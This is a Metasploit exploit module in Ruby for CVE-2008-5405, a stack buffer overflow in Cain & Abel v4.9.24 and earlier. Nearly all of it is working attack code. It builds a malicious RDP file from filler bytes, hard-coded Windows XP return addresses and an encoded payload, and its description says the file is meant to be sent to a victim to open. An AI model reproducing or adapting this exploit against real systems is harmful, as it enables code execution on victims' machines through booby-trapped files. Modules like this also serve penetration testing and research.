Alan Foster
68 lines
2.0 KiB
Ruby
68 lines
2.0 KiB
Ruby
##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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class MetasploitModule < Msf::Exploit::Remote
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Rank = GoodRanking
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include Msf::Exploit::FILEFORMAT
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'Cain and Abel RDP Buffer Overflow',
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'Description' => %q{
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This module exploits a stack-based buffer overflow in the Cain & Abel v4.9.24
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and below. An attacker must send the file to victim, and the victim must open
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the specially crafted RDP file under Tools -> Remote Desktop Password Decoder.
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},
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'License' => MSF_LICENSE,
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'Author' => [ 'Trancek <trancek[at]yashira.org>' ],
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'References' =>
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[
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[ 'CVE', '2008-5405' ],
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[ 'OSVDB', '50342' ],
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[ 'EDB', '7329' ],
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[ 'BID', '32543' ]
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],
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'Payload' =>
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{
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'Space' => 800,
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'BadChars' => "\x00\x0a\x0d\x3c\x22\x3e\x3d",
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'EncoderType' => Msf::Encoder::Type::AlphanumMixed,
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'StackAdjustment' => -3500,
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},
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'DefaultOptions' =>
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{
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'AllowWin32SEH' => true
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},
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'Platform' => 'win',
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'Targets' =>
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[
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# Tested ok aushack 20090503
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[ 'Windows XP SP2 English', { 'Ret' => 0x7c82385d } ], #call esp
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[ 'Windows XP SP0/1 English', { 'Ret' => 0x71ab7bfb } ], #jmp esp
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[ 'Windows XP SP2 Spanish', { 'Ret' => 0x7c951eed } ], #jmp esp
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],
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'Privileged' => false,
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'DisclosureDate' => '2008-11-30',
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'DefaultTarget' => 0))
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register_options(
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[
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OptString.new('FILENAME', [ true, 'The file name.', 'exploit_cain.rdp']),
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])
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end
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def exploit
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filerdp = rand_text_alpha_upper(8206)
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filerdp << [target.ret].pack('V') + [target.ret].pack('V')
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filerdp << payload.encoded
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print_status("Creating '#{datastore['FILENAME']}' file ...")
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file_create(filerdp)
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end
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end
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